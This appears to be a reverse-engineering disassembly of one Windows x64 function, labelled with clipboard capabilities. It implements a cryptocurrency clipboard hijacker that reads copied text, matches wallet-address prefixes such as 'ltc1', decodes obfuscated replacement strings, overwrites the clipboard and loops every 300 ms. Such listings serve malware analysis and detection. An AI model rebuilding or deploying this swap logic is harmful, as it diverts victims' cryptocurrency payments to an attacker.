Function at 0x140001280
Capabilities:
Open clipboard
Read clipboard data
Write clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xb0]
sub rsp, 0x1b0
mov rax, qword [0x140053140]
xor rax, rsp
mov qword [rbp + 0xa0], rax
lea rax, str.21244E4C22241E52141252053E52373552312F52254E524622044D4A534C4B025B75
mov qword [rsp + 0x50], rax
lea rsi, str.33261D2B1A38371848261D331E07252D4B4E47072C160F0E1B053818182E48473D3B75
lea rax, str.574045214F07241E52193E52394F524622044B4F025B5675
mov qword [rbp - 0x40], rsi
mov qword [rsp + 0x58], rax
lea rax, str.5740452157130B1C4E032433322256241E52141252053E52373552312F52254E524622044D49534B4C025B5675
mov qword [rsp + 0x60], rax
lea rax, str.57212B241E52053E52254F524622044C4C025B5675
mov qword [rsp + 0x68], rax
lea rax, str.57213B244A52463E52373552312F522A22044E02244E52461E52141252053E52373552312F522522044C4D025B5675
mov qword [rsp + 0x70], rax
lea rax, str.574045214B244F52463E3D22244E52463E52373552312F52251E52141252052204464C025B5675
mov qword [rsp + 0x78], rax
lea rax, str.5740452138244F52461E52053E522522044A4A025B5675
mov qword [rbp - 0x80], rax
lea rax, str.574045210D244F52461E52053E522522044D4B534C4B025B5675
mov qword [rbp - 0x78], rax
lea rax, str.574045213E244F52461E52053E522522044C4C025B5675
mov qword [rbp - 0x70], rax
lea rax, str.2157571D160B1C1016111C1E0C17455640570E030F56241E52054F524622044B4E025675
mov qword [rbp - 0x68], rax
lea rax, str.5740452127244E52463E52373552312F52251E521412520522044C4C025B5675
mov qword [rbp - 0x60], rax
lea rax, str.21571D111D5657241E52054F524622044C4602565B
mov qword [rbp - 0x58], rax
lea rax, str.4E4C150D4E2C3A2F2728321929270747160F1B0710340D31183E1838484A4A344E4E75
mov qword [rbp - 0x50], rax
lea rax, str.4F073E494D4D4F4E3D4A4B4E4A46474B4D3B1B394C4C3C194B4F3B474B3E4F4D4B3A4B3D493B3D4A4F1D75
mov qword [rbp - 0x48], rax
lea rax, str.2B263127162A3407140F4E2A0D1E092A091C34312E25314809071A111D3509344C2B75
mov qword [rbp - 0x38], rax
lea rax, str.3B39192B4A0A083837290C0E330C391E4B1A2F110F351A38290933471B354C2A3D0E75
mov qword [rbp - 0x30], rax
lea rax, str.4B3E0C2646082D4D310C3E26104D461C3E4E14392A47331E2D143847094A3E392549123D294A2A2D25472D2C1E252A28274D1A47320A194A0B0B2D0C3D14100C2E473A0C0A1D3A0A2D180C2B1C2E280C332B0B3E2D12260C29262A4A110A1775
mov qword [rbp - 0x28], rax
lea rax, str.383C4B3E2A3427363B4C2C2939334B3135313C2D2D4A392828334C3D262A2E3832353E382C2D314C4C2E3E324D2F4D4C2D394A252E3B312B75
mov qword [rbp - 0x20], rax
lea rax, str.0D373E1C15100B0E3C2727494912372E2815392C063D4C1B12194D12101E0C46060F75
mov qword [rbp - 0x18], rax
lea rax, str.3E2B3412474C293C4A311C4D2D2B0714350C0D1A28480E46111C343C193E4B0F0F1075
mov qword [rbp - 0x10], rax
lea rax, str.0E0513131B0D0F4B111A11094F070F11070E0F4A1B1211120E0C171447130E170518081E4C1C0C140B1175
mov qword [rbp - 8], rax
lea rax, str.270A3B3531093B4C3B083A160F1C0D253C160F3438383B4D293D354A2D0728331C1075
mov qword [rbp], rax
lea rax, str.1D111D4E0A4A071B481B0C1C4F150D1C06144A1E0F1411090846050B0E0C070F1A0D0B12111A46081711
mov qword [rbp + 8], rax
xor ecx, ecx
xor ebx, ebx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1400016f7
lea ecx, [rbx + 1]
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rdi, rax
test rax, rax
je 0x14000140b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x14000140b
mov rcx, rax
call fcn.140020f48
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_CloseClipboard]
test rbx, rbx
je 0x1400016f7
mov rcx, rbx
call fcn.1400010d0
mov r14, rax
mov r12, rbx
test rax, rax
je 0x1400016ef
xor r15d, r15d
lea rdx, [0x14004ffc8]
mov rcx, rax
lea r8d, [r15 + 3]
call fcn.140021150
test eax, eax
jne 0x1400014f0
lea rcx, str.1D1C4E0E4D13064A4B4F134C181B48070A0A480F0805130D140E11151B0B090717054F054C4F080C494D
call fcn.1400011b0
mov rcx, rax
call fcn.1400010d0
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1400016d7
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, 0xffffffffffffffff
inc rdx
cmp byte [rdi + rdx], r15b
jne 0x140001483
inc rdx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rsi, rax
test rax, rax
je 0x1400014e5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x1400014e5
mov rdx, rdi
sub rax, rdi
nop word [rax + rax]
movzx ecx, byte [rdx]
mov byte [rax + rdx], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400014c0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rdx, rsi
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x1400016d0
mov r8d, 4
lea rdx, str.ltc1
mov rcx, r14
call fcn.140021150
test eax, eax
jne 0x140001593
mov rcx, rsi
call fcn.1400011b0
mov rcx, rax
call fcn.1400010d0
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1400016d7
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, 0xffffffffffffffff
nop dword [rax]
inc rdx
cmp byte [rdi + rdx], r15b
jne 0x140001540
inc rdx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rsi, rax
test rax, rax
je 0x1400014e5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x1400014e5
mov rdx, rdi
sub rax, rdi
nop word [rax + rax]
movzx ecx, byte [rdx]
mov byte [rax + rdx], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x140001580
jmp 0x1400014ce
xor esi, esi
mov rcx, qword [rsp + rsi + 0x50]
call fcn.1400011b0
mov rcx, rax
call fcn.1400010d0
mov rcx, qword [rbp + rsi - 0x50]
mov rbx, rax
mov qword [rsp + 0x40], rax
call fcn.1400011b0
mov rcx, rax
call fcn.1400010d0
mov rdi, rax
test rbx, rbx
je 0x140001634
lea r9, [rbp + 0x18]
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.14000b0b0
mov r13, rax
test rax, rax
je 0x140001634
mov r9, 0xffffffffffffffff
inc r9
cmp byte [r14 + r9], 0
jne 0x1400015f3
mov dword [rsp + 0x38], 0x1e
lea rax, [rbp + 0x20]
mov qword [rsp + 0x30], rax
mov r8, r14
xor eax, eax
xor edx, edx
mov dword [rsp + 0x28], eax
mov rcx, r13
mov dword [rsp + 0x20], eax
call fcn.14001a550
mov rcx, r13
mov ebx, eax
call qword [0x140053008]
test ebx, ebx
jns 0x14000164a
inc r15d
add rsi, 8
cmp r15d, 0xc
jb 0x140001595
jmp 0x1400016cb
xor ecx, ecx
mov rsi, r12
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1400016cb
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, 0xffffffffffffffff
inc rdx
cmp byte [rdi + rdx], 0
jne 0x140001666
inc rdx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x1400016c5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x1400016c5
mov rdx, rdi
sub rax, rdi
nop dword [rax]
movzx ecx, byte [rdx]
mov byte [rax + rdx], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400016a0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rdx, rbx
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
mov r15, qword [rsp + 0x40]
lea rsi, str.33261D2B1A38371848261D331E07252D4B4E47072C160F0E1B053818182E48473D3B75
mov rcx, r15
call fcn.14002395c
mov rcx, rdi
call fcn.14002395c
mov rcx, r14
call fcn.14002395c
mov rcx, r12
call fcn.14002395c
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400013c6